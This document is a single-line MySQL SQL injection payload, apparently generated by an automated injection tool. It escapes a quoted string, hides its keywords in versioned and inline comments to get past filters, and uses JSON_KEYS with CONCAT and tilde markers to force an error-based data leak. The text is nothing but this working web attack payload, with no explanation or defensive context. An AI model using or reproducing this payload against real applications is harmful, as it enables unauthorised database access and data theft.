1",(/*!50000SELECT*/7641/*!50000FROM*/(/*!50000SELECT*/JSON_KEYS((/*!50000SELECT*//*!50000CONVERT*/((/*!50000SELECT*//*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(7641=7641,1))),%27~%27))/**/USING/**/utf8))))x) AND "LjjcDaSE" LIKE "LjjcDaSE"